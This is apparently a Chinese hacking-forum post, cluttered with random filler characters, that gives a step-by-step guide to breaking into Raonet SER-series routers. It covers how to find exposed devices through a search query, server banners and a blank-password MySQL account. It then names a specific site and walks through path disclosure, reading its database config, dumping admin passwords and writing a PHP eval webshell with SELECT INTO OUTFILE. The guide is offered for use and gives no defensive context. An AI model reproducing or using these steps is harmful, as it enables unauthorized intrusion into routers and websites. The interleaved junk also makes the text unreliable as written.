寻找存在漏洞的路由器方法:/ T, w1 }6 [/ r) }# m/ n8 z
8 t3 Y8 k6 B9 z% d1:google搜索'Raonet Subscriber Ethernet Router'
; x# o5 Q7 E6 C9 }- x4 z7 x' _) B$ c# \0 F$ U
2:使用WebDAVScan扫80端口,http banner为thttpd/2.21b 23apr2001
}; d1 \# l3 t+ h: m/ v1 }( D* \! {( i& N/ D
3:扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14,默认有一个高权限的帐户mysql,口令为空。
- _ }4 T" F9 o# d, K% `9 O# a0 n; j
: k- V2 t9 r, ?4 w: A//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......, X& G1 z+ l; l; U9 M
7 j# D L8 d; ` i/ }& x 3 g( ]2 ?* J M" A6 o" s, o
9 @+ f! A7 Z) y: C/ M
入侵步骤:6 V! }2 `& C# ]
: ]7 G! C, P: r9 `1 y+ U- {
1.爆web路径,http://www.yu1u.org/src/jpgraph_line.php0 x. B8 Z; x( N/ q1 I
7 E. |& _) F2 ^6 I" T; p6 b2 x, t2:查看数据库配置文件,http://www.yu1u.org/inc/conn_db.inc
/ m7 d& S- e$ Q) {- o5 V3:得到密码后连接,查看GUI管理密码:
1 }4 M2 L/ k# ^, ~( Y+ euse ser_5006 H0 c/ T6 o( a3 N" V! {3 e' Q& g1 J
select id,passwd from user;# w1 i# {7 q6 `% B
4:通过数据库写入webshell,执行命令:
w& R! V* d- Euse mysql;" ~8 Y1 ?0 V4 K; }+ E
create table ok(cmd TEXT);
* X$ Y8 I9 y) _; l+ Qinsert into ok values("<?php @eval($_POST[cmd])?>");( L6 U2 L6 i' |. s; E9 d1 x6 e6 f
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
1 D3 |$ r1 J9 M3 _drop table ok;3 ]2 g7 O7 g9 }. U
' V9 f3 i9 y( A0 j6 g5:连接后门shell.php / s& _/ K2 b/ P
/ }, W, e2 O: M- g
6. 搞定!
# n' Q3 U7 a% K1 a! Y- y! p& K" g* c3 h1 L! g% {9 ^
|